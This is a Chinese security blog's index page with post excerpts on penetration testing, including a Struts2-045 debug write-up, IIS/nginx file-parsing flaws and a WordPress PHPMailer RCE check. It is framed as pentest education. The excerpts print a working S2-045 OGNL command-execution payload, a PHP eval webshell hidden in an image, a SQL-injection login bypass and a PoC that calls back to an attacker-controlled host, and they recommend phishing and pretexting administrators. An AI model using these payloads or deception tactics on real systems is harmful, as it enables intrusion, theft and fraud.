筛选

URL跳转漏洞bypass小结

创建时间: 2017年12月9日 21:28 - 作者: LandGrey - 标签: 渗透测试, 网络安全, Web安全备忘录

下面是owasp对URL跳转漏洞,也叫开放重定向漏洞(open redirect)的一段描述:Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal ...

更多 →

巡风源码浅析之Nascan分析篇

创建时间: 2017年11月18日 19:39 - 作者: LandGrey - 标签: python, 网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: 起因 巡风算是国内开源扫描器中的一个良心产品了,研究下里面的扫描流程和代码逻辑对以后的工作想必大有裨益。 巡风的辅助验证脚本Aider 和我写的 dnstricker 的思路很相似,代码也不复杂,不做单独分析。巡风的项目一直在更新,所以可能在代码上会有些许出入。0x01: 分析准备巡风使用python语言开发,基于Flask Web框架和Mongodb数据库。我自己按照代码位置和代码逻辑,将巡风的架构大致分为三个部分,分别是Nascan、Vulscan和Flask web实现。分析篇也大概按照这三个部分介绍。首先是先搭建起巡风,正常扫描一次,然后进入数据库,了解数据库结构。Mongodb数据库的一个特点就是键值对表示。文档(document)组成集合(collection),集合(collection)再组成数据库(db),有时在文档和集合间可能还会有子集合。粗略的表示就是document -> sub collection -> collection -> db进入数据库查看,了解大体的集合情况:> show dbs admin 0.000GB local 0.000GB xunfeng 0.001GB > use xunfeng switched to db xunfeng > show collections Config # 各种配置信息 Heartbeat # 记录程序最新心跳时间 History # 删除历史目标的记录信息 Info # 存储目标ip,名字,banner,开放端口和服务类型等信息 Plugin ...

更多 →

pydictor爆破字典生成指南

创建时间: 2017年11月21日 00:17 - 作者: LandGrey - 标签: 分享, 渗透测试, python

0x00:简介 pydictor是一个使用python语言开发,遵循GPLv3协议的开源命令行工具,主要用来帮助安全研究人员生成称心如意的暴力破解字典。 以功能强大、简洁实用、适用场景多、自定义程度强为开发目标。 开源地址:pydictor 0x01:特点与功能今天主要是讲pydictor如何结合渗透测试过程常见的场景使用,特点与功能REAME有详细讲解,下面只梳理一下大概脉络,方便下文的理解。 特点:1. 完全使用python的原生库写成,不需要额外安装其它任何的python模块; 2. 同时支持python 2.7+ 和python 3.4+版本,可在Windows、Linux和Mac平台上运行; 3. 可自定义化程度高,留出很多可配置规则的文件; 4. 爆破必备,新老皆宜. 功能:1. 基于三大字符集(d:数字 L:小写字母 c:大写字母)的基础字典; 2. 基于自定义字符集(包括特殊字符)的字典; 3. 排列组合字典(几个字符或字符串的所有排列可能); 4. 用配置文件或者符合pydictor字典语法的字符串直接生成字典; 5. 析取网页中可能有意义的原始单词字典; 6. 基于关键词生成针对性密码字典; 7. 基于性别生成中国公民身份证后4/6/8位字典; 8. 生成一段时间内的生日字典(自定义位数); 9. 用pydictor的handler功能润色下自己的字典; 10.基于个人信息和规则生成社会工程学字典(呃,蹭下知名度,本质还是基于关键词,重在密码规则模式) 11.一系列和字典的整个生命周期有关的内置工具; 包括字典合并、合并后去重、字典去重、单词频率统计、安全擦除字典; 12.一系列和生成优化字典有关的选项; 包括自定长度范围、字典加前缀、加后缀、编码或加密字典、用1337模式、控制字典所用规则的程度、根据数字、字符和特殊字符的个数或种类的多少来筛选字典、用正则表达式来筛选字典等。0x02:使用场景早期开发是为了让功能匹配使用场合,后期开发是让具体场景拥有对应的功能。01:字典合并 字典都不是凭空捏造或生成的,一般都会参考前辈们公布的字典。所以,先收集百八十个字典,放到一个目录下,把字典合并起来吧。1. 合并目录/网站路径爆破字典 2. 合并子域名字典 3. 合并用户名字典 4. 合并弱密码字典 5. ...

更多 →

打造自己专属的PentestBox

创建时间: 2017年6月7日 11:25 - 作者: LandGrey - 标签: 渗透测试

ws 0x00: 准备一. 预备知识请先大致浏览下以下内容: 官网 Windows渗透利器之Pentest BOX使用详解(一) Windows渗透利器之Pentest BOX使用详解(二) 二. 原料1. PentestBox (官网下载) 2. U盘 (Kingston DTR30G2 32GB) 安装在U盘中,是为了最大化发挥PentestBox易携带的优点,即插即用,去依赖化; 推荐购买32G大小,支持USB 3.0的优质U盘,因为读写比较频繁,质量差的U盘不能胜任; 另外选中 Kingston DTR30G2 32GB 的原因,主要是橡胶套,一定程度上防水、防尘、抗震,安全的特点。 3. 移动硬盘或备份U盘(可选) 主要是用作安全备份,定制中途错误恢复; 最低要求拷贝完整的一份PentestBox到主机硬盘中; 三. 定制思路由表及里: 定制图标和界面定制toolsmanager定制python环境定制默认工具定制自定义命令定制默认命令定制exploit-database其他 0x01: 定制过程注:可先跳至 0x02: 需要注意的坑 部分查看,防止踩坑。一. 定制图标和界面 在U盘根目录下创建目录 pentestbox,将下载的 PentestBox-with-Metasploit-v2.2.exe 直接解压至pentestbox 目录; 接着在U盘根目录下autorun.info 文件,ico.ico文件,hack.bat文件,各个文件内容如下: autorun.info (自动加载U盘图标) [autorun]open="" autoplay=trueICON="ico.ico" ...

更多 →

struts2-045漏洞Debug与POC分析

创建时间: 2018年8月19日 14:39 - 作者: LandGrey - 标签: 网络安全, Web安全备忘录, 代码审计

0x00:环境准备 通过 Apache Struts2 Release 页面可知:受struts2-045(CVE-2017-5638)漏洞影响的最新struts版本为 Struts 2.5.10, 在官方 archive 页面下载Struts 2.5.10 showcase(app)版本,用Tomcat 7本地部署应用进行debug。 0x01:调试准备 补丁移除了 apache/struts2/interceptor/FileUploadInterceptor.java 文件中 LocalizedTextUtil.findText() 函数对错误信息的处理部分: 漏洞信息: 1.漏洞发生在 Jakarta 上传解析器 2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10 3.通过Content-Type这个header头,进而执行命令,通过 Strus2 对错误消息的处理进行回显 POC (Windows 弹计算器): ${(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='calc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; 0x02:正式调试 根据上面的信息,用IDEA 在 struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class 第584行下第一个断点: 然后如下图所示,用Burpsuite在 HTTP Content-Type ...

更多 →

强制通过VPN上网脚本

创建时间: 2017年10月9日 15:19 - 作者: LandGrey - 标签: 渗透测试

受文章 https://www.t00ls.net/thread-38739-1-2.html 启发: 需要分三步对 Windows 防火墙进行设置: 1. 默认阻止所有出口流量 2. 在本地连接上设置允许通向VPN服务器的出口流量 3. 允许所有流量通过vpn链接出去 VPN如果不稳定断掉,整个网络就会断掉,防止自己真实IP的流量外漏; 防火墙策略比一般开个脚本,循环检测自己是否用的是VPN上网更稳定保险; 原文是手动操作Windows防火墙,步骤挺繁琐的,研究下,写了个bat脚本。 脚本界面输入"yes"或"y",开启脚本策略,然后设置自己的VPN 外网地址或者IP范围,强制使用VPN上网 输入"no"或"n",关闭策略,恢复正常 VPN断掉后联网 这里 下载, 源码如下:@echo off Rem Build By LandGrey title Vpn Traffic Switcher ::get administrator privilege >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" if '%errorlevel%' NEQ '0' (goto UACPrompt) else ( goto gotAdmin ) :UACPrompt ...

更多 →

关于文件名解析的一些探索

创建时间: 2017年8月24日 01:23 - 作者: LandGrey - 标签: 渗透测试, Web安全备忘录

一:IIS 服务器01:IIS <=6.0 解析漏洞起因是解析标准不一致,即Web应用程序与IIS服务器对同一个文件的文件名称(类型)理解不一致造成。 利用方法有两种: 1. 畸形目录解析/xxxx.asp/xxx.jpg2. 分号文件解析test.asp;.jpg 第1种是因为xxx.jpg图片文件在某个以.asp结尾的目录下面,而被IIS当成可执行文件来解析 第2种虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析 默认的可执行文件后缀还有三个".asa"、".cer"、".cdx",不知道有没有隐藏的,如果手头有IIS环境的话, 可以生成所有一个到四个英文字符的后缀文件,去Fuzzing可执行文件名后缀 02:IIS 7.0&7.5畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 二:nginx01:畸形解析漏洞默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件 将shell语句,如 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后 copy xx.jpg/b + xx.txt/a test.jpg 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php 02:空字节代码执行漏洞在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问 xx.jpg%00.php 来执行其中的代码 03:文件名逻辑漏洞(CVE-2013-4547)受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x ...

更多 →

命令执行与代码执行的判断

创建时间: 2017年5月18日 13:28 - 作者: LandGrey - 标签: 网络安全, 思考

一. 判别理念 参考OWASP的 代码注入和命令注入,其中的相关解释: Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. 可以用下面一句话判断是代码执行还是命令执行 执行效果是否受制于语言本身与其安全机制 代码执行: 1. 执行的效果完全受限于语言本身 只能执行当前语言的相关语法,不能达到执行系统命令的程度 2. 执行的效果不完全受限于语言本身 可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行 命令执行: 1. 执行的效果不受限于语言语法本身,不受命令本身限制 不能执行当前语言的相关语法,仅能达到间接执行系统命令; 可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。 二. 实例 1. Python反序列化漏洞 Python Pickle反序列化带来的安全问题有如下一段关于python pickle反序列化操作的示例代码: import osimport pickleclass A(object): ...

更多 →

多维度指纹规则识别CMS

创建时间: 2017年5月30日 17:13 - 作者: LandGrey - 标签: 渗透测试

0x00: 前言CMS(Content Management System)类型的识别是老生长谈的问题,这篇文章就当抛砖引玉了~识别CMS类型的主要方式: 1. 根据网页内容含有的特殊表征 2. 根据网站路径的确定静态资源 3. 根据网站的HTTP响应头 4. 根据网站目录结构的整体特征用的最多的,就是第一种和第二种探测方式;第三种通用性较差,不太常用;第四种几乎没见到过具体实现,因为不实用,耗时长,而且容易被waf屏蔽。0x01: 识别方式简介1. 根据网页内容含有的特殊表征网站主页内容含有的一些特殊字符串,如Powered by xxxcms; 引用css特殊的标志,如 Metinfo 主页常含有class="met-navfixed" 、class="met_clear" 等CSS引用标志; 主页内容含有的特殊的正则表达式,如 PHPcms 主页常有类似于正则 /index\.php\?m=content&c;=index&a;=lists&catid;= 的字符串; 2. 根据网站路径的确定静态资源robots.txt 中含有的cms名称等特殊字符串; favicon.ico 图标的hash值; 某个特殊路径的图片、css文件、REAME文件、license文件、甚至文档等资源的hash值或特殊字符串;3. 根据网站的HTTP头某个路径的图片、css等文件存在的status code: 200 响应; ThinkPHP 常爆出带'哭脸'的"无法加载控制器"等错误响应; 另外,还可以通过网站HTTP headers、Cookies等字段含有的特殊值来判断,不过不常用,也没必要;4. 根据网站目录结构的整体特征需要爬取网站,基本不会单独实现此功能0x02: 程序构想单个目标,基于多维度规则,设定并判断权重,多线程运行, 网站响应内容复用,得分判断CMS类型。 为了方便加载和统一设置规则,选择使用正则表达式解析规则文本。一种CMS规则存取到一个文本文件中,例如一个检测discuz!7.x版本的规则如下: type: [discuz!7.x]help: []content: ['content="Discuz! 7\."', 'content="2001-2009 ...

更多 →

寻找网站后台路径的N种姿势

创建时间: 2017年7月27日 23:16 - 作者: LandGrey - 标签: 渗透测试, Web安全备忘录

下列方法无刻意排列顺序,仅为备忘记录。 一:间接接触0x01: search1. 直接搜索目标可能存在的相关后台路径 site:target.com intitle:"后台|登录|登陆|验证码|管理员|服务系统|系统登录|认证码|验证身份|管理系统|管理后台|管理平台|mgmt|sysadmin|admin|password|login|manage" 2. 尝试搜索一些文档型资料路径,判断是否包含后台路径 site:target.com filetype:"doc | docx | pdf | xls | xlsx | ppt | pptx" 3. 在目标链接较少的情况下,可以浏览网站所有路径,顺便观察组成特点,构造出后台路径 site:target.com二:直接接触0x02: view the site1. 查看robots.txt文件,查看是否存在网站后台路径 2. 使用传统路径爆破方式,猜测可能存在的后台路径 3. 识别网站是否是常见CMS或框架,使用对应的默认路径尝试 4. 直接浏览目标网站,注意网站界面的左手方和底部,查看是否有后台直达链接 5. 注意观察Cookies等HTTP头信息,寻找特殊Banner,搜索相关应用框架信息,确定后台路径 6. 寻找网站页面源码中的特殊Banner,去google搜索或Github等平台查找源码信息,确定后台路径 7. 尝试手工或自动fuzzing网站,致使其报错,查看是否有相关路径信息,进而猜测后台路径信息 8. 查看网站页面源码,注意链接路径(特别是上传的图片、文件等资源链接),验证是否包含后台路径 9. 利用网站的特殊文件(通常需要扫描),如整站源码压缩备份文件、phpinfo页面、默认探针文件、README、Lisense文件、部署文档等,收集可能的网站后台路径信息 10. 网站爬虫(通常使用爬虫工具,如AWVS、Netsparker、Burpsuite),爬取网站链接,分析提取后台路径信息0x03: open mind1. 端口扫描,判断后台是否部署在同一主机的其它端口 ...

更多 →

巡风源码浅析之VulScan分析篇

创建时间: 2017年12月8日 16:17 - 作者: LandGrey - 标签: python, 网络安全

巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。 开源地址: https://github.com/ysrc/xunfeng0x00: VulScan介绍查看介绍前,请先查看 巡风源码浅析之Nascan分析篇 的“0x01:分析准备”。VulScan部分的目录结构可抽象为:│ VulScan.py │ └─vuldb │ ***.py │ ***.json │ ├─nmb │ ***** ├─pyasn1 │ ***** └─smb └ *****其中主要的逻辑都在VulScan.py中,其它放置了几个外部模块nmb、pyasn1和smb;扫描插件有两种,放置在vuldb文件夹下,一是python脚本型插件,一是json文件型插件;本文主要分析VulScan.py文件并选取一个python脚本型插件、一个json文件型插件做简要说明,和Nascan相比,这部分代码少很多,逻辑也不复杂,所以会啰嗦一点,可能更适合新手学习。0x01: VulScan分析脚本开头执行了下面几行代码sys.path.append(sys.path[0] + '/vuldb')sys.path.append(sys.path[0] + "/../")from Config import ProductionConfig主要是将vuldb目录和上级目录加入系统路径中,可以直接 from Config import ProductionConfig 和导入python脚本型插件。然后进行了数据库连接和一些变量初始化工作。看一下程序入口:if __name__ == '__main__': # 插件初始化加载 init() # 将密码字典、运行线程数、超时时间、ip地址白名单从数据库中取出 PASSWORD_DIC, THREAD_COUNT, TIMEOUT, WHITE_LIST = get_config() ...

更多 →

二次开发版dnslog平台 - logeyes

创建时间: 2017年11月6日 11:22 - 作者: LandGrey - 标签: 渗透测试, python, django

logeyes 低配版dnslog平台, 根据 https://github.com/BugScanTeam/DNSLog 修改而来; 增加了Dns记录来源地址、Web记录来源地址的端口、请求方法、Cookie、Referer、X-Forwarded-For; 满足了基础的 dnslog 功能需求源码及详细文档地址: https://github.com/LandGrey/dnstricker

更多 →

WordPress用户名枚举的几种方法

创建时间: 2017年6月29日 13:27 - 作者: LandGrey - 标签: 渗透测试

一. WordPress 用户名枚举漏洞CVE-2017-5487 WordPress < 4.7.1 - Username EnumerationWordPress 版本小于 4.7.1,配置了 REST API,访问下面的路径,就会返回包含用户名信息的json数据。获得的用户名是最全的,速度也最快,但是实测发现不少站点都不适用,批量效果不必太期待。/wp-json/wp/v2/users/demo :#!/usr/bin/env python# coding:utf-8 import requestsdef poc(target): username = [] try: req = requests.get('%s/wp-json/wp/v2/users/' % target) content = req.json() for v in content: username.append(str(v['link']).split('/')[-1]) except: pass return username 二. WordPress 文章存档枚举用户名访问下面的路径,如果存在对应用户id,则显示的页面中会包含用户。现在大部分工具在枚举用户名时采用此方法,比较稳定,遍历id足够多,可获得较全的用户名,但有一部分站点故意屏蔽了此方法枚举用户名。/?author=id因为版本和语言等差异,没有统一的正则匹配方法,所以demo中的正则表达式不是适用于所有情况的。demo:#!/usr/bin/env python# coding:utf-8import reimport requestsdef poc(target): username = ...

更多 →

Java代码审计-铁人下载系统

创建时间: 2018年3月11日 13:11 - 作者: LandGrey - 标签: 分享, 代码审计

0x00: 简介初学java代码审计,跟着表哥们脚步,走一遍审计流程,就选了个没有使用Java框架的java系统,作为入门。 0x01: 目的熟悉代码审计流程,寻找漏洞的思路,入门记录。 0x02: 准备工作为了验证审计出的漏洞效果,还是要搭建起来系统,不然空说无凭。为了方便,使用JspStudy 2016一体化环境,选择tomcat 8.0,jdk 1.8搭建。查看代码使用IDEA,当然,也可以用jd-gui,反编译class,不过IDEA自动就反编译了,比较方便。 值得注意的是,使用系统自带的安装功能搭建后,打开页面报错,事后想起来可能是自动导入sql文件的路径程序中写死了,和自己部署时根目录位置不一样导致的。 再次通过install/index.html页面重新安装,则显示数据库已经安装。原因是WEB-INF/classes/liuxing_db.properties中的db_an=yes变成了db_an=no,表示数据库已经安装,不会再次安装。 最后发现使用安装提示里的第二种手工安装方法可以正常安装系统,人工导入数据库数据就行了。 为了审计代码时全局搜索方便,可以使用jad批量反编译class文件,使用命令如: jad -r -d /path/to/store/java -s java -8 /path/to/classes/files/**/*.class 最后,我将反编译出来的java文件,统一存放在了WEB-INF/java目录下,和class文件的原始目录WEB-INF/classes目录相对应。 0x03:发现漏洞非框架的代码审计,按照前台——后台,严重——低危,非交互——需交互,跟随代码流程尽量发现高危和易利用漏洞类型为主。 一:重安装漏洞像在0x02中说的一样,虽然我使用系统自带的安装功能失败了,但是db_an参数变成了no,虽然/install目录的重新安装页面没删除,但确实使用系统自带的安装功能不存在重新安装漏洞。 跟随/install/index.html页面,找到install.jsp文件,再根据form action,找到install_setup.jsp页面 再根据install_setup.jsp页面上的import语句 import="liuxing.util.Install,java.util.*" 找到安装的主要逻辑源码,在WEB-INF/java/liuxing/util/Install.java中,安装时会判断db_an的值,yes可以安装,no不安装;安装完后会把值置为no,虽然install页面没删除,但是已经不能够再次安装了。 所以,当使用系统自带的install页面安装系统时,不存在重安装漏洞;如果使用手工导入sql文件安装系统,自己又没有把db_an的值写成no,没删除install目录文件时,存在重安装漏洞。 二. SQL注入漏洞首先尝试搜索功能,进入so.jsp,发现将搜索的参数值传入Ruanjianguanli的so方法中 进入WEB-INF/java/liuxing/guanli/Ruanjianguanli.java文件中,找到so方法;发现是调用了ruanjianDao.so()函数, ruanjianDao是什么呢?在Ruanjianguanli类的构造函数里,可以找到,ruanjianDao是RuanjianMySQL的一个实例,那么再接着往下跟 然后打开WEB-INF/java/liuxing/dao/RuanjianMySQL.java文件,搜索so方法,并发现最终是采用预编译来执行数据库操作,这里不存在SQL注入漏洞。 public pageModel so(int pageNo, int pageSize, String tiaojian, int lei, String name) 可想而知,有一处用了预编译,说明就有很多处用了预编译方式来执行SQL语句,基本都没有SQL注入漏洞。然后全局搜索createStatement关键字,看看有没有用拼接的SQL语句的。 如上图,最后也发现几个可以注入的地方,但是都需要登录后台,在delete语句中,可以用时间盲注,比如: delete ...

更多 →

WordPress PHPMailer RCE 批量检测poc

创建时间: 2017年7月2日 16:34 - 作者: LandGrey - 标签: 渗透测试, python, 网络安全

0x00. 漏洞详情WordPress PHPMailer RCE 准确的说法应该是 CVE-2016-10033:WordPress PHPMailer 4.6 - Host Header Command Injection参考: WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033漏洞复现与poc编写:vulhub/wordpress/phpmailer-rce0x01. 批量检测需要解决的关键点:1. 获得一个存在的用户名参考: WordPress用户名枚举的几种方法2. 批量检测的方法利用漏洞在目标主机上执行命令,带独立标志(域名或IP)请求某个我们控制的主机,查看控制主机记录,确定存在漏洞的主机;利用批量漏洞检测框架,并发批量测试。测试情况如图:三. POC将下面poc中的地址http://yoururl.ceye.io替换为自己控制的。#!/usr/bin/env python# coding:utf-8import reimport randomimport requestsdef generate_command(command): command = '${run{%s}}' % command command = command.replace('/', '${substr{0}{1}{$spool_directory}}') command = command.replace(':', '${substr{13}{1}{$tod_log}}') command = command.replace(' ', '${substr{10}{1}{$tod_log}}') return 'target(any -froot@localhost -be %s null)' % ...

更多 →

突破封闭Web系统的技巧之旁敲侧击

创建时间: 2017年12月27日 22:50 - 作者: LandGrey - 标签: 分享, 渗透测试, 思考

前言:在互联网安全服务公司乙方工作的人或者进行SRC众测等相关渗透测试时,经常碰到客户只给一个"xxx信息管理系统"、"xxx平台"之类的一个Web登录界面的系统的链接地址,其它全凭自己造化,去找漏洞吧!我将上面讲的"需要认证后才能进入系统进行操作,但是当前没有认证凭证"的web系统统一称为"封闭的Web系统",本文认为阅读人员有一定的渗透测试经验,并将就如何突破封闭的Web系统,进行探讨。分享自己的思路与常用技巧,欢迎同道中人一起交流思路。 注:本文有一定的攻击性操作,仅为安全从业人员渗透测试思路交流,请在法律条规允许的范围内进行安全测试。一:文章脉络《突破封闭Web系统的技巧》由两篇文章组成。这是第二篇文章"旁敲侧击"。下面是本文的脉络:旁敲侧击 0x00: 扫端口扩范围 0x01: 寻找测试域名 0x02: 微信公众号与APP 0x03: 寻找蛛丝马迹 0x04: 何方CMS 0x05: 历史漏洞搜索 0x06: 大杀四方二:旁敲侧击经过我们的一阵自杀式……哦不对,字典式冲锋,发现我们将自己意淫成管理员企图从心里战胜"封闭系统"的想法失败了。进不去就是进不去啊,一个低危洞都没有,看来是这系统比较安全了。但是回头一瞟,隔壁座位上的老王喜笑颜开,3个高危已经轻松提交上去,还有2个中危都不屑一看…… 自己心里想着"我真菜",然后决定彻底放弃。直到某天,老王感觉亏欠你太多,向你娓娓道出他那天所施展的姿势……0x00:扫端口扩范围在正面冲锋失败后,我们应该暂时放弃"通过合法的凭证进入Web系统"这个想法,扩散思维,不再局限于Web系统,多关注操作系统、中间件的层面。端口扫描做为一项常用技术,可用nmap、masscan、zmap等工具进行端口探测和服务识别,不再赘述。值得注意的是:不要着急就只扫描TCP协议的端口,UDP协议的端口也不要放过。扫描到一些有趣的端口和服务,就可以尽情的去玩耍了。如果有较多有可能被拿下的服务端口开放,无形中我们直接拿下服务器的概率会大大增加。当别人还在"冲锋"时,我们可能早就通过某不知名端口部署的其它Web应用系统的中间件漏洞进入系统了~0x01:寻找测试域名有些厂商在开发其Web系统时,可能会先单独分配个测试域名来测试正在开发的系统,比如"testapi.land.com"。当系统开发完成后,厂商如愿以偿的将安全的系统部署在域名"api.land.com"上,但是确忘记关闭了"testapi.land.com"。然后,测试域名上仍然开放着N多端口,分别对应着不同版本的Web系统,俨然成为了一个天然的靶场。0x02:微信公众号与APPWeb系统进不去?去看看厂家的微信公众号吧。为了迎合客户和流量,有点规模的企业都会建立自己的微信公众号,而且安全保护的受重视程度通常远低于Web系统。Web系统可能有复杂的图片验证码,而微信公众号可能为了用户体验,并没有设置任何图形验证码;Web系统难以发现的接口可能在浏览微信公众号时的数据包中找到;同理,如果厂家的封闭Web系统是面向多业务员的,那么很可能存在某一或几款APP,存在同样的登录功能,而且也比Web系统要疏于保护。缺少验证码或可能找到一些请求接口和一些有意思的请求参数。除此之外,反编译APP获得其源码,梳理代码中所有敏感的请求接口、连接地址、关键认证逻辑,可能会有意外收获。另外,测试完安卓机上的APP后,如果APP有IOS版本,测下IOS版的APP,说不定有意外收获。0x03:寻找蛛丝马迹最好详细的记录下所有有关Web系统的相关信息。这些信息都有可能成为最后突破的方向,如服务器操作系统类型、使用的框架或组件、使用的容器、使用的CMS类型、服务器版本、开发语言、前端框架等信息。这部分的工具实在太多了,挑拣自己顺手的用就好,比如Firefox插件wapplayer、whatweb、云悉,其它不再赘述。搞不定的web系统,说不定一个Struts2 RCE、Weblogic RCE、Tomcat war包部署之类的漏洞,连服务器的权限都拿到了。另外,对于信息量极少的封闭系统,右击查看源码基本成了必须要做的事,最好把能接触到网页,全部右击查看一遍网站源码。仔细浏览一遍,看看有没有特殊的网页注释、特殊链接之类的,也许一条测试后台的ip地址链接、放置在json文件中的明文配置密码信息,就能让你进入未受保护的测试系统。最后,如果系统条件允许的话,最好用检测普通Web系统的手段对封闭的Web系统检测一遍。比如用主机漏洞扫描器Nessus、web漏洞扫描器 AWVS、Netsparker、Appscan等扫描下网站,防止遗漏重要的Web漏洞信息。0x04:何方CMS如果Web系统不是作为独苗被单独开发的话,那么很可能是由已知的CMS或框架写成的。知名的CMS在 0x03:寻找蛛丝马迹步骤就应该已经知道了。如果它是由没有开放源代码的商业化的CMS改造而成或者不知名的系统建成,我们还有以下几种方式得到它的名字或者源代码。1. 观察页面的特殊css命名规则、js方法名等资源特征,用搜索引擎搜索; 2. 将有特点的页面比如登录页面,截图后利用在线试图,比对相似的系统,或者发到某群中,问下有经验的师傅; 3. 在搜索引擎、文库、Github、百度云盘和其它代码托管、云存储平台上,搜索目标的系统类型名,如"企业印鉴管理系统",同类系统不多的话,很容易就可以搜索出来;如果开发者没有安全意识,极有可能会把源码托管或分享在任何人都可以访问到的平台上,只要不遗漏此步骤,说不定就可以拿到源码; 4. 在页面底部或者扫描到的REAMDE等文件里如果有外包公司等名称或首页,可以借此得知是哪个外包公司开发的什么系统,寻找类似的保护较脆弱的系统,拿到源码。0x05:历史漏洞搜索经过我们上面的工作,我们很可能已经得知系统的名字和版本。这时候,就可以去搜索引擎、wooyun漏洞镜像站、安全客的漏洞搜索、cvel漏洞库去搜索下CMS的历史漏洞,或者厂商以前曾暴露出来的漏洞,可能会发现许多有用的信息!有可能一个以前暴露出来的员工弱口令稍加变形或者xxxCMS 无条件getshell,封闭系统的大门就彻底向我们敞开了。0x06:大杀四方从上文所述,我们可以看出:所谓旁敲侧击的精华思想有两部分,一是规避安全措施做的很好的封闭Web系统,尝试从相关的弱点系统和人着手,间接突破封闭的Web系统;二是通过各种渠道,获得所使用系统的名字和源码,尝试使用历史漏洞或者审计源码,突破封闭的Web系统。最后,老王也缓缓说出了他快速提交漏洞的秘密:原来在N月前,老王在某次渗透测试时,就通过其它网站的wwwroot.rar备份文件。获得了和这个Web系统一样的源码,审计一波已经得到几个0day,0day才是大杀四方的利器啊!三:总结当尝试突破封闭的Web系统并且正面强攻不奏效的情况下,旁敲侧击往往具有强大的杀伤力。其中的技巧往往越猥琐、小众、另辟蹊径,效果越出彩,而且技巧也远远不止上面提到的一小部分。比如,针对性极强的邮件、网页钓鱼套出目标管理员的口令和密码;在所有思路全部中断时,去QQ群搜索下Web系统名或者机构名,编织个巧妙的不敢轻易拒绝的谎言,进去QQ群后,很可能系统源码、默认密码、测试帐号就全部都有了。

更多 →

突破封闭Web系统的技巧之正面冲锋

创建时间: 2017年12月24日 17:45 - 作者: LandGrey - 标签: 渗透测试, 思考, Web安全备忘录

首发于:信安之路公众号前言:在互联网安全服务公司乙方工作的人或者进行SRC众测等相关渗透测试时,经常碰到客户只给一个"xxx信息管理系统"、"xxx平台"之类的一个Web登录界面的系统的链接地址,其它全凭自己造化,去找漏洞吧!我将上面讲的"需要认证后才能进入系统进行操作,但是当前没有认证凭证"的web系统"统一称为"封闭的Web系统",本文认为阅读人员有一定的渗透测试经验,并将就如何突破封闭的Web系统,进行探讨。分享自己的思路与常用技巧,欢迎同道中人一起交流思路。 注:本文有一定的攻击性操作,仅为安全从业人员渗透测试思路交流,请在法律条规允许的范围内进行安全测试。一:文章脉络《突破封闭Web系统的技巧》由两篇文章组成。这是第一篇文章"正面冲锋"。下面是本文的脉络: 正面冲锋 0x00: 登录绕过 0x01: 密码猜解 0x02: 管理员猜解 0x03: 普通用户猜解 0x04: 突破加密传输的口令 0x05: 突破登录IP限制 0x06: 图形验证码绕过 0x07: 短信验证码绕过 0x08: 双因子验证绕过二:正面冲锋遇到需要登录才能进一步测试的系统,又没登录口令?没关系,我们有不少正面冲锋的小技巧,相信你看完一定有所收获。0x00:登录绕过如果能绕过系统认证,直接登录,那就万事大吉了!登录绕过的方法主要有:1. SQL注入万能登录密码 a' or '1'='1' -- 2. XSS获取到已登录系统的用户Cookie,替换后可进入系统 3. 通过列目录漏洞或目录文件扫描,发现存在未授权访问的管理页面,可以直接访问进行操作 4. 通过抓包,更改用户id、登录名或Cookie中的敏感认证字段值,即可越权访问 5. 通过已知的后门链接或代码中固化的后门管理口令,直接登录 